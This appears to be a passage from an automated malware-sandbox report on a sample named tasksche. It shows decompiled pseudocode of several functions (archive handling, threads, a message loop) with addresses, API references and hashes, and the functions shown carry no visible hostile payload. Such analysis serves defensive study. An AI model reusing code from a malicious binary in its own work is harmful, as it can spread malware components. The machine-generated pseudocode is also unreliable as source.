						__eflags =  *((char*)(_t607 + 0x4459));
						if( *((char*)(_t607 + 0x4459)) != 0) {
							goto L191;
						}
						goto L20;
					}
					__eflags = _t593 - 3;
					if(_t593 != 3) {
						L9:
						__eflags = _t593 - 5;
						if(_t593 != 5) {
							goto L189;
						}
						__eflags =  *((char*)(_t500 + 0x8904));
						if( *((char*)(_t500 + 0x8904)) == 0) {
							goto L191;
						}
						_t490 = E00418B3D(_t585, _t500, _t607 + 0x10, 0,  *(_t613 - 0x18));
						__eflags = _t490;
						if(_t490 != 0) {
							 *((intOrPtr*)( *_t500 + 0xc))( *((intOrPtr*)(_t500 + 0xb040)),  *((intOrPtr*)(_t500 + 0xb044)), 0);
							goto L14;
						} else {
							E004062BA(0x4335ac, 1);
							goto L191;
						}
					}
					__eflags =  *((char*)(_t607 + 0x545d));
					if( *((char*)(_t607 + 0x545d)) == 0) {
						goto L189;
					} else {
						E00406EB8(_t500, _t613,  *((intOrPtr*)(_t607 + 8)), _t500, _t607 + 0x545e);
						goto L9;
					}
				}
				if( *((char*)(__ecx + 0x21d7)) == 0) {
					L4:
					_t364 = 0;
					goto L16;
				}
				if(E00418B3D(__edx, _t500, __ecx + 0x10, 0, _t345) != 0) {
					goto L5;
				} else {
					E004062BA(0x4335ac, 1);
					goto L4;
				}
			}

0x004076aa
0x004076af
0x004076b9
0x004076c3
0x004076c7
0x004076cc
0x004076d3
0x004076d6
0x004076d9
0x00407708
0x00407709
0x0040770f
0x00407712
0x0040779c
0x0040779f
0x004077a6
0x004077ad
0x004077ca
0x004077e3
0x004077e7
0x004077ec
0x004077ee
0x004077f2
0x004077f6
0x004077f8
0x004077fc
0x004077fe
0x004077fe
0x004077fc
0x00407807
0x0040781a
0x0040781f
0x00407826
0x00407871
0x00407876
0x00407878
0x0040788a
0x00407890
0x00407896
0x004078a9
0x004078af
0x004078bd
0x004078c0
0x004078c4
0x004078c8
0x004078cc
0x004078df
0x004078e2
0x004078e8
0x004078ea
0x004078f7
0x004078f7
0x004078f7
0x004078f9
0x004078fc
0x0040790d
0x00407912
0x00407914
0x00408204
0x00408204
0x0040778b
0x0040778c
0x00407791
0x00407799
0x00407799
0x0040791f
0x00407930
0x00407935
0x00407939
0x0040794e
0x0040794e
0x00407952
0x00407952
0x00407955
0x0040795c
0x00407967
0x00407967
0x0040796c
0x00407975
0x0040797b
0x00407980
0x0040798a
0x0040798f
0x00407991
0x004079c5
0x004079cc
0x004079cc
0x004079d2
0x004079d2
0x004079de
0x00407a18
0x00407a22
0x00407a27
0x00407a29
0x00407a2f
0x00407a32
0x00407a32
0x00407a45
0x00407a4c
0x00407a4e
0x00407a50
0x00407a7e
0x00407a80
0x00407a94
0x00407a97
0x00407a9c
0x00407aa3
0x00407aa5
0x00407aac
0x00407abb
0x00407ac3
0x00407ac5
0x00407ac7
0x00407ace
0x00407ad6
0x00407ae2
0x00407ae7
0x00407ae7
0x00407ace
0x00407ac5
0x00407aac
0x00407aeb
0x00407af1
0x00407af6
0x00407afc
0x00407afe
0x00407b02
0x00407b06
0x00407b0a
0x00407b93
0x00407b93
0x00407b95
0x00407b9a
0x00407b9c
0x00407c29
0x00407c2d
0x00000000
0x00000000
0x00407c2f
0x00407c3a
0x00407c3c
0x00407c41
0x00000000
0x00407c41
0x00407ba2
0x00407ba6
0x00407c06
0x00407c0c
0x00407c10
0x00407c15
0x00407c1f
0x00000000
0x00407c1f
0x00407ba8
0x00407bad
0x00000000
0x00000000
0x00407baf
0x00407bb4
0x00000000
0x00000000
0x00407bb6
0x00407bbb
0x00000000
0x00000000
0x00407bbd
0x00407bc0
0x00407bc3
0x00407bca
0x00000000
0x00000000
0x00407bcc
0x00407bcc
0x00407bcc
0x00407bd8
0x00407bd9
0x00407bda
0x00407bdf
0x00000000
0x00407b10
0x00407b10
0x00407b13
0x00000000
0x00000000
0x00407b15
0x00407b19
0x00407c4c
0x00407c4c
0x00407c4f
0x00407c4f
0x00407c56
0x00407c7d
0x00407c81
0x004081a5
0x004081ab
0x004081af
0x004081b4
0x004081be
0x004081c3
0x004081c7
0x004081c9
0x004081c9
0x004081c9
0x004081c9
0x004081cf
0x004081cf
0x004081d2
0x004081d9
0x00000000
0x00000000
0x004081db
0x004081df
0x00407789
0x00407789
0x00000000
0x00407789
0x004081e5
0x004081ec
0x004081fa
0x004081fe
0x00000000
0x00000000
0x00000000
0x004081fe
0x004081ee
0x004081f0
0x00000000
0x004081f0
0x00407c87
0x00407c8a
0x00407c8f
0x00407c92
0x00407ca4
0x00407ca4
0x00407ca8
0x00407e5c
0x00407e5c
0x00407e60
0x00407e64
0x00407cef
0x00407cef
0x00407cf7
0x00407cfd
0x00407d03
0x00407d09
0x00407d26
0x00407d3c
0x00407d4d
0x00407d57
0x00407d5e
0x00407d63
0x00407d69
0x00407d6c
0x00407d6f
0x00407d71
0x00407de2
0x00407de2
0x00407def
0x00407df3
0x00407df9
0x00407e0c
0x00407e0c
0x00407e10
0x00407e10
0x00407e14
0x00407e18
0x00407e1c
0x00407f1c
0x00407f23
0x00407f25
0x00407f2c
0x00407f51
0x00407f52
0x00407f58
0x00407f63
0x00407f69
0x00407f6f
0x00407f75
0x00407f7b
0x00407f98
0x00407f2e
0x00407f2e
0x00407f34
0x00407f3a
0x00407f3d
0x00407f3d
0x00407f2c
0x00407f9d
0x00407f9f
0x00407fa4
0x00407fab
0x00407fdb
0x00407fdb
0x00407fdb
0x00407fdd
0x00407fdd
0x00407fe4
0x00407fef
0x00407ff6
0x00408017
0x00408017
0x0040801b
0x0040801f
0x0040807d
0x0040807d
0x00408081
0x00000000
0x00000000
0x00408087
0x0040808c
0x00408099
0x00408099
0x0040809d
0x004080b6
0x004080b6
0x004080ba
0x004080d7
0x004080d7
0x004080da
0x004080e1
0x004080e3
0x004080e3
0x004080e3
0x004080e3
0x004080f5
0x00408108
0x0040811b
0x0040812c
0x00408137
0x00408147
0x00408154
0x00408165
0x0040816a
0x0040816d
0x00408174
0x00408183
0x00408188
0x0040818a
0x00408199
0x00408199
0x0040818a
0x0040819e
0x00000000
0x0040819e
0x004080bc
0x004080bf
0x004080c6
0x00000000
0x00000000
0x004080d2
0x00000000
0x004080d2
0x0040809f
0x004080a6
0x00000000
0x00000000
0x004080ac
0x004080b0
0x00000000
0x00000000
0x00000000
0x004080b0
0x0040808e
0x00408093
0x00000000
0x00000000
0x00000000
0x00408093
0x00408021
0x00408025
0x00000000
0x00000000
0x00408027
0x00408029
0x00000000
0x00000000
0x0040802b
0x00408031
0x0040805b
0x00408061
0x00408065
0x00408066
0x00408068
0x00408068
0x00408074
0x00408078
0x00000000
0x00408078
0x00408033
0x00408039
0x00408043
0x00408043
0x0040804a
0x00000000
0x00000000
0x00408052
0x00408056
0x00408057
0x00000000
0x00408057
0x0040803b
0x00408041
0x00000000
0x00000000
0x00000000
0x00408041
0x00407ff8
0x00407fff
0x00000000
0x00000000
0x00408001
0x0040800c
0x0040800c
0x0040800e
0x00408010
0x00408010
0x00000000
0x0040800e
0x00408003
0x0040800a
0x00000000
0x00000000
0x00000000
0x0040800a
0x00407fe6
0x00000000
0x00407fe6
0x00407fb6
0x00407fce
0x00407fd3
0x00407fd5
0x00000000
0x00000000
0x00407fd7
0x00000000
0x00407fd7
0x00407e22
0x00407e28
0x00407e2b
0x00407e88
0x00407e9c
0x00407e9e
0x00407ea3
0x00407ea7
0x00407eeb
0x00407eeb
0x00407ef2
0x00407efe
0x00407efe
0x00407f02
0x00407f0f
0x00407f0f
0x00407f0f
0x00407f11
0x00407f11
0x00000000
0x00407f11
0x00407f04
0x00407f04
0x00407f08
0x00000000
0x00000000
0x00407f0c
0x00000000
0x00407f0c
0x00407ef4
0x00407ef8
0x00000000
0x00000000
0x00407efa
0x00407efa
0x00000000
0x00407efa
0x00407ea9
0x00407eb1
0x00000000
0x00000000
0x00407eb3
0x00407ebe
0x00407ec5
0x00407ec6
0x00407ec9
0x00407ed5
0x00407edc
0x00407edf
0x00407ecb
0x00407ecb
0x00407ecb
0x00407ee4
0x00407ee4
0x00407ee7
0x00407ee9
0x00000000
0x00000000
0x00000000
0x00407ee9
0x00407e2d
0x00407e30
0x00000000
0x00000000
0x00407e32
0x00407e35
0x00407e6f
0x00407e6f
0x00407e73
0x00000000
0x00000000
0x00407e7b
0x00407e81
0x00000000
0x00407e81
0x00407e37
0x00407e3a
0x00000000
0x00000000
0x00407e3c
0x00407e3f
0x00000000
0x00000000
0x00407e4e
0x00407e53
0x00000000
0x00407e53
0x00407dfb
0x00407dff
0x00000000
0x00000000
0x00407e01
0x00407e06
0x00407e0a
0x00000000
0x00000000
0x00000000
0x00407e0a
0x00407d73
0x00407d79
0x00000000
0x00000000
0x00407d7b
0x00407d87
0x00407d8d
0x00407d97
0x00407d9a
0x00407d9c
0x00000000
0x00000000
0x00407d9e
0x00407da4
0x00407da4
0x00407da6
0x00407dcb
0x00407ddd
0x00000000
0x00407ddd
0x00407da8
0x00407db2
0x00407db4
0x00407db9
0x00407dbf
0x00000000
0x00000000
0x00407dc1
0x00000000
0x00000000
0x00407dc3
0x00407dc9
0x00000000
0x00000000
0x00000000
0x00407dc9
0x00407daa
0x00407db0
0x00000000
0x00000000
0x00000000
0x00407db0
0x00407da0
0x00407da2
0x00000000
0x00000000
0x00000000
0x00407da2
0x00407ce9
0x00407ce9
0x00407ce9
0x00407ce9
0x00000000
0x00407ce9
0x00407cae
0x00407cb3
0x00407cb7
0x00407cbf
0x00407cc4
0x00407cc6
0x00407cd5
0x00407ce4
0x00407ce4
0x00407cc6
0x00000000
0x00407cb7
0x00407c94
0x00407c9b
0x00407c9e
0x00000000
0x00000000
0x00000000
0x00407c9e
0x00407c65
0x00407c69
0x00407c6d
0x00407c72
0x00407c74
0x00000000
0x00000000
0x00407c76
0x00407be1
0x00407be7
0x00407beb
0x00407bf0
0x00407bfa
0x00407bff
0x00000000
0x00407bff
0x00407b1f
0x00407b24
0x00407b27
0x00407c44
0x00407c44
0x00407c48
0x00000000
0x00000000
0x00000000
0x00407c4a
0x00407b2d
0x00407b30
0x00407b37
0x00000000
0x00000000
0x00407b3d
0x00407b44
0x00407b48
0x00407b4d
0x00407b4f
0x00407b80
0x00407b80
0x00407b84
0x00000000
0x00000000
0x00407b8a
0x00407b8a
0x00000000
0x00407b8a
0x00407b51
0x00407b55
0x00000000
0x00000000
0x00407b7b
0x00000000
0x00407b7b
0x00407b0a
0x004079ea
0x004079ef
0x004079f1
0x004079ff
0x00407a02
0x00407a09
0x00407a0f
0x00407a14
0x00407a14
0x00000000
0x00407a09
0x004079f3
0x00000000
0x004079f3
0x004079ce
0x004079ce
0x00000000
0x004079ce
0x004079a0
0x004079a5
0x004079a7
0x00000000
0x00000000
0x004079a9
0x004079b0
0x00000000
0x004079b2
0x004079be
0x00000000
0x004079be
0x004079b0
0x0040796e
0x00407973
0x00000000
0x00000000
0x00000000
0x00407973
0x0040795e
0x00407965
0x00000000
0x00000000
0x00000000
0x00407965
0x0040793b
0x0040793f
0x00000000
0x00000000
0x00407941
0x00407948
0x0040794c
0x00000000
0x00000000
0x00000000
0x0040794c
0x004078ec
0x004078f1
0x00000000
0x004078f3
0x004078f3
0x00000000
0x004078f3
0x004078f1
0x004078ce
0x004078d4
0x004078d7
0x004078d9
0x00000000
0x00000000
0x00000000
0x004078d9
0x0040787a
0x0040787d
0x00407884
0x00000000
0x00000000
0x00407886
0x00407886
0x00000000
0x00407886
0x0040782b
0x00407831
0x00407834
0x00000000
0x00000000
0x00407836
0x0040783a
0x00000000
0x0040783c
0x0040783c
0x0040783e
0x00407840
0x00407840
0x00407843
0x0040785b
0x0040785d
0x00000000
0x0040785f
0x0040785f
0x00407868
0x00000000
0x00407868
0x0040785d
0x0040783a
0x004077b5
0x004077bb
0x00000000
0x00000000
0x004077bd
0x004077c4
0x00000000
0x00000000
0x00000000
0x004077c4
0x00407718
0x0040771b
0x0040773a
0x0040773a
0x0040773d
0x00000000
0x00000000
0x00407743
0x0040774a
0x00000000
0x00000000
0x0040775a
0x0040775f
0x00407761
0x00407786
0x00000000
0x00407763
0x0040776a
0x00000000
0x0040776a
0x00407761
0x0040771d
0x00407724
0x00000000
0x0040772a
0x00407735
0x00000000
0x00407735
0x00407724
0x004076e2
0x00407701
0x00407701
0x00000000
0x00407701
0x004076f3
0x00000000
0x004076f5
0x004076fc
0x00000000
0x004076fc

APIs

__EH_prolog.LIBCMT ref: 004076AF

Part of subcall function 00418B3D: _wcscpy.LIBCMT ref: 00418C26

_memcmp.LIBCMT ref: 00407ABB

Strings

E, xrefs: 0040808E

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog_memcmp_wcscpy
String ID: E
API String ID: 1926841707-3568589458
Opcode ID: 6c4558fb238d66dc116ff5003075a2549135680b9de7e03f82a9277970bbe958
Instruction ID: c8680630b07ceb330da05956c27536b96a03d31217007f6de18683c0289c3294
Opcode Fuzzy Hash: 6c4558fb238d66dc116ff5003075a2549135680b9de7e03f82a9277970bbe958
Instruction Fuzzy Hash: 4872B870D086849EEF25DB64C844BEA7BA55F05304F0840FFE94A6B2D2C77D7984CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040D116 Relevance: 6.0, APIs: 4, Instructions: 29
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D116() {
				struct tagMSG _v32;
				int _t6;
				long _t12;

				_t6 = PeekMessageW( &_v32, 0, 0, 0, 0); // executed
				if(_t6 != 0) {
					GetMessageW( &_v32, 0, 0, 0);
					TranslateMessage( &_v32);
					_t12 = DispatchMessageW( &_v32); // executed
					return _t12;
				}
				return _t6;
			}

0x0040d127
0x0040d12f
0x0040d138
0x0040d142
0x0040d14c
0x00000000
0x0040d14c
0x0040d154

APIs

PeekMessageW.USER32 ref: 0040D127
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040D138
TranslateMessage.USER32(?), ref: 0040D142
DispatchMessageW.USER32 ref: 0040D14C

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Message$DispatchPeekTranslate
String ID:
API String ID: 4217535847-0
Opcode ID: db1d2709ee26d26a19af258b04a512226032370801fdef34d6f208b0e00134af
Instruction ID: 62915b0a08277243b8fe4fd8ce30adb6e130eab43b2b780e39f86cd7d7c3188f
Opcode Fuzzy Hash: db1d2709ee26d26a19af258b04a512226032370801fdef34d6f208b0e00134af
Instruction Fuzzy Hash: 9FE0ED72E0112AA7CB20ABE19C0CDDB7F6CEE062517404021BD05E2015D638D116C7F5

Uniqueness

Uniqueness Score: -1.00%

Function 0040820B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 119
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040820B(intOrPtr __ecx, intOrPtr __edx, void* __eflags) {
				void* __edi;
				void* _t47;
				void* _t50;
				signed int _t53;
				signed int _t54;
				signed int _t58;
				signed int _t63;
				signed int _t77;
				void* _t82;
				signed int _t85;
				void* _t97;
				intOrPtr _t101;
				void* _t103;
				void* _t106;

				_t106 = __eflags;
				_t96 = __edx;
				E0041A4DC(E004296DE, _t103);
				E0041AAF0(0xe0f4);
				_t101 = __ecx;
				_push(_t97);
				E00401822(_t103 - 0xe100, __edx, _t97, _t106,  *((intOrPtr*)(__ecx + 8)));
				_t98 = __ecx + 0x445c;
				_t77 = 0;
				 *(_t103 - 4) = 0;
				_t47 = E004088FD(_t103 - 0xe100, __ecx + 0x445c);
				_t82 = _t103 - 0xe100;
				if(_t47 == 0) {
					L18:
					 *(_t103 - 4) =  *(_t103 - 4) | 0xffffffff;
					E00401228(_t82, _t98); // executed
					 *[fs:0x0] =  *((intOrPtr*)(_t103 - 0xc));
					return 0;
				}
				_push(1); // executed
				_t50 = E00401417(_t82, __edx); // executed
				if(_t50 != 0) {
					__eflags =  *(_t103 - 0x309b);
					if( *(_t103 - 0x309b) != 0) {
						L17:
						_t82 = _t103 - 0xe100;
						goto L18;
					}
					 *((intOrPtr*)(_t103 - 0x14)) = 0;
					__eflags =  *(_t103 - 0x30ab);
					if(__eflags == 0) {
						L10:
						E004070BC(_t101, _t96, _t103, __eflags, _t103 - 0xe100);
						_t53 =  *(_t101 + 8);
						_t85 =  *(_t53 + 0x72b2) & 0x0000ffff;
						__eflags = _t85 - 0x54;
						if(_t85 == 0x54) {
							L12:
							 *((char*)(_t53 + 0x51c1)) = 1;
							L13:
							_t54 =  *(_t101 + 8);
							__eflags =  *((short*)(_t54 + 0x72b2)) - 0x49;
							if( *((short*)(_t54 + 0x72b2)) != 0x49) {
								__eflags =  *((char*)(_t54 + 0x51c1));
								_t33 =  *((char*)(_t54 + 0x51c1)) == 0;
								__eflags =  *((char*)(_t54 + 0x51c1)) == 0;
								_t54 = E004116C9((_t54 & 0xffffff00 | _t33) & 0x000000ff, (_t54 & 0xffffff00 | _t33) & 0x000000ff, _t101 + 0x445c);
							}
							E00401000(_t54);
							do {
								_t58 = E004076AA(_t101, _t96, _t103 - 0xe100, E0040369F(_t96, _t103), _t103 - 0xd); // executed
								__eflags = _t58;
							} while (_t58 != 0);
							goto L17;
						}
						__eflags = _t85 - 0x49;
						if(_t85 != 0x49) {
							goto L13;
						}
						goto L12;
					}
					_t63 = E0041A7F7(_t103 - 0x1018, _t103 - 0xe0e2);
					__eflags =  *(_t103 - 0x30a6);
					_t98 = 0x800;
					while(1) {
						E0040A8A1(_t103 - 0x1018, _t98, (_t63 & 0xffffff00 | __eflags == 0x00000000) & 0x000000ff);
						E004067E1(_t103 - 0x2060);
						_push(0);
						__eflags = E004096BC(_t96, _t103 - 0x1018, _t103 - 0x2060);
						if(__eflags == 0) {
							break;
						}
						_t77 = _t77 +  *((intOrPtr*)(_t103 - 0x1060));
						_t63 =  *(_t103 - 0x105c);
						asm("adc [ebp-0x14], eax");
						__eflags =  *(_t103 - 0x30a6);
					}
					 *((intOrPtr*)(_t101 + 0x2210)) =  *((intOrPtr*)(_t101 + 0x2210)) + _t77;
					asm("adc [eax+0x4], ecx");
					goto L10;
				}
				if(E0040A788(_t98, L"rar") != 0) {
					E004062BA(0x4335ac, 1);
				}
				goto L17;
			}

0x0040820b
0x0040820b
0x00408210
0x0040821a
0x00408221
0x00408223
0x0040822d
0x00408232
0x00408238
0x00408241
0x00408244
0x00408249
0x00408251
0x004083a6
0x004083a6
0x004083aa
0x004083b7
0x004083bf
0x004083bf
0x00408257
0x00408259
0x00408260
0x00408286
0x0040828c
0x004083a0
0x004083a0
0x00000000
0x004083a0
0x00408292
0x00408295
0x0040829b
0x00408321
0x0040832a
0x0040832f
0x00408332
0x00408339
0x0040833d
0x00408345
0x00408345
0x0040834c
0x0040834c
0x0040834f
0x00408357
0x00408359
0x00408366
0x00408366
0x0040836e
0x0040836e
0x00408379
0x0040837e
0x00408397
0x0040839c
0x0040839c
0x00000000
0x0040837e
0x0040833f
0x00408343
0x00000000
0x00000000
0x00000000
0x00408343
0x004082af
0x004082b4
0x004082bc
0x004082db
0x004082ea
0x004082f5
0x004082fa
0x0040830f
0x00408311
0x00000000
0x00000000
0x004082c9
0x004082cb
0x004082d1
0x004082d4
0x004082d4
0x0040831c
0x0040831e
0x00000000
0x0040831e
0x0040826f
0x0040827c
0x0040827c
0x00000000

APIs

__EH_prolog.LIBCMT ref: 00408210

Part of subcall function 00401822: __EH_prolog.LIBCMT ref: 00401827
Part of subcall function 00401822: _memset.LIBCMT ref: 0040196A
Part of subcall function 00401822: _memset.LIBCMT ref: 00401979
Part of subcall function 00401822: _memset.LIBCMT ref: 00401988

Part of subcall function 00401417: __EH_prolog.LIBCMT ref: 0040141C

_wcscpy.LIBCMT ref: 004082AF

Strings

rar, xrefs: 00408262

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog_memset$_wcscpy
String ID: rar
API String ID: 2876264062-1792618458
Opcode ID: d8064b72c640e36a82a0b68421302acdf3e8c056939b4e9f8210efc5c70c758b
Instruction ID: 75000dcce843433d4275637ef0618472c828e59e125cdaf0ff5f97d994d1ab7f
Opcode Fuzzy Hash: d8064b72c640e36a82a0b68421302acdf3e8c056939b4e9f8210efc5c70c758b
Instruction Fuzzy Hash: 3D41A4319002589EDB24DB50C955BEA77B8AB14304F4448FFE489B3182DB796FC8CB29

Uniqueness

Uniqueness Score: -1.00%

Function 00411254 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
threadCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00411254() {
				void* __ecx;
				void* _t5;
				void* _t7;
				int _t8;
				void* _t13;
				void** _t20;
				void* _t23;
				void* _t24;

				_t23 = 0;
				if( *0x4335ac > 0) {
					_t20 = 0x4335b0;
					do {
						_t7 = CreateThread(0, 0x10000, E004111DD, 0x4335ac, 0, _t24 + 0x10); // executed
						_t13 = _t7;
						if(_t13 == 0) {
							_push(L"CreateThread failed");
							_push(0x4335ac);
							E00401000(E00406423(0x4335ac));
							E00406371(0x4335ac, 2);
						}
						 *_t20 = _t13;
						 *0x00433630 =  *((intOrPtr*)(0x433630)) + 1;
						_t8 =  *0x44f58c; // 0x0
						if(_t8 != 0) {
							_t8 = SetThreadPriority( *_t20, _t8);
						}
						_t23 = _t23 + 1;
						_t20 =  &(_t20[1]);
					} while (_t23 <  *0x4335ac);
					return _t8;
				}
				return _t5;
			}

0x00411259
0x0041125d
0x00411261
0x00411264
0x00411278
0x0041127e
0x00411282
0x00411284
0x00411289
0x0041129a
0x004112a6
0x004112a6
0x004112ab
0x004112ad
0x004112b3
0x004112ba
0x004112bf
0x004112bf
0x004112c5
0x004112c6
0x004112c9
0x00000000
0x004112ce
0x004112d2

APIs

CreateThread.KERNELBASE ref: 00411278
SetThreadPriority.KERNEL32(?,00000000,?,?,004112E4,-00000108,00404FE0), ref: 004112BF

Part of subcall function 00406423: __vswprintf_c_l.LIBCMT ref: 00406441

Strings

CreateThread failed, xrefs: 00411284

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: 3061c48cbf7df5314d67cb84a6f78a2ab06f9f7c5b99b3b88179035cff10f0ee
Instruction ID: 964536ca15170dd961cb9332306e5bd8003a90b1d1e662a5f33448d65f1dc838
Opcode Fuzzy Hash: 3061c48cbf7df5314d67cb84a6f78a2ab06f9f7c5b99b3b88179035cff10f0ee
Instruction Fuzzy Hash: 4B01A2753453057BD3215F55AC46BB673A9EB44766F20043FFB82E11D0DAB4A8608A2D

Uniqueness

Uniqueness Score: -1.00%

Function 004126F0 Relevance: 4.6, APIs: 3, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E004126F0(void* __ecx, unsigned int _a4, char _a8, char _a11) {
				signed int _v8;
				char _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				unsigned int _t37;
				signed int _t39;
				intOrPtr _t41;
				signed int _t44;
				signed int _t50;
				unsigned int _t53;
				void* _t59;
				void* _t64;
				signed int _t65;
				signed int* _t67;
				intOrPtr* _t69;
				void* _t74;

				_t53 = _a4;
				_t74 = __ecx;
				if(_t53 == 0) {
					E004063CE(0x4335ac);
				}
				_t37 = 0x40000;
				if(_t53 < 0x40000) {
					_t53 = 0x40000;
					_a4 = 0x40000;
				}
				if(_t53 >  *(_t74 + 0xe6d8)) {
					_t37 = _t53 >> 0x10;
					if(_t37 <= 0x10000) {
						if(_a8 == 0 ||  *(_t74 + 0x4b34) == 0 &&  *((char*)(_t74 + 0x4c38)) == 0) {
							L11:
							_a11 = 0;
							goto L12;
						} else {
							_a11 = 1;
							if( *((char*)(_t74 + 0x4c38)) == 0) {
								L12:
								_push(_t67);
								if( *((char*)(_t74 + 0x4c38)) == 0) {
									_t39 = E0041CF3E(_t53, _t64, _t67, _t53); // executed
									_v8 = _t39;
									__eflags = _t39;
									if(__eflags != 0) {
										L20:
										if( *((char*)(_t74 + 0x4c38)) != 0) {
											L27:
											 *(_t74 + 0xe6d8) = _t53;
											 *((intOrPtr*)(_t74 + 0xe6dc)) = _t53 - 1;
											return _t39;
										}
										E0041A820(_t67, _v8, 0, _t53);
										if(_a11 == 0) {
											L24:
											_t69 = _t74 + 0x4b34;
											_t41 =  *_t69;
											_t94 = _t41;
											if(_t41 != 0) {
												_push(_t41);
												E0041A506(_t53, _t69, _t74, _t94);
											}
											_t39 = _v8;
											 *_t69 = _t39;
											goto L27;
										}
										_t59 = 1;
										if( *(_t74 + 0xe6d8) < 1) {
											goto L24;
										} else {
											goto L23;
										}
										do {
											L23:
											_t44 =  *((intOrPtr*)(_t74 + 0x70)) - _t59;
											_t65 = _t53 - 1;
											_t53 = _a4;
											_t59 = _t59 + 1;
											 *((char*)((_t65 & _t44) + _v8)) =  *((intOrPtr*)(( *(_t74 + 0xe6d8) - 0x00000001 & _t44) +  *(_t74 + 0x4b34)));
										} while (_t59 <=  *(_t74 + 0xe6d8));
										goto L24;
									}
									L15:
									if(_a11 != 0 || _t53 < 0x1000000) {
										goto L10;
									} else {
										_t67 = _t74 + 0x4b34;
										_t50 =  *_t67;
										_t88 = _t50;
										if(_t50 != 0) {
											_push(_t50);
											E0041A506(_t53, _t67, _t74, _t88);
											 *_t67 =  *_t67 & 0x00000000;
										}
										_t39 = E0041254D(_t74 + 0x4b38, _t53);
										 *((char*)(_t74 + 0x4c38)) = 1;
										goto L20;
									}
								}
								_v8 = _v8 & 0x00000000;
								goto L15;
							}
							L10:
							E0041216A( &_v20);
							E0041C77F( &_v20, 0x42d504);
							goto L11;
						}
					}
				}
				return _t37;
			}

0x004126f7
0x004126fb
0x004126ff
0x00412706
0x00412706
0x0041270b
0x00412712
0x00412714
0x00412716
0x00412716
0x0041271f
0x00412727
0x0041272f
0x00412739
0x00412770
0x00412770
0x00000000
0x0041274d
0x00412754
0x00412758
0x00412774
0x0041277b
0x0041277c
0x00412785
0x0041278b
0x0041278e
0x00412790
0x004127c9
0x004127d0
0x00412837
0x00412837
0x0041283e
0x00000000
0x00412844
0x004127d8
0x004127e4
0x0041281f
0x0041281f
0x00412825
0x00412827
0x00412829
0x0041282b
0x0041282c
0x00412831
0x00412832
0x00412835
0x00000000
0x00412835
0x004127e8
0x004127ef
0x00000000
0x00000000
0x00000000
0x00000000
0x004127f1
0x004127f1
0x004127fa
0x004127ff
0x00412802
0x00412813
0x00412814
0x00412817
0x00000000
0x004127f1
0x00412792
0x00412796
0x00000000
0x004127a0
0x004127a0
0x004127a6
0x004127a8
0x004127aa
0x004127ac
0x004127ad
0x004127b2
0x004127b5
0x004127bd
0x004127c2
0x00000000
0x004127c2
0x00412796
0x0041277e
0x00000000
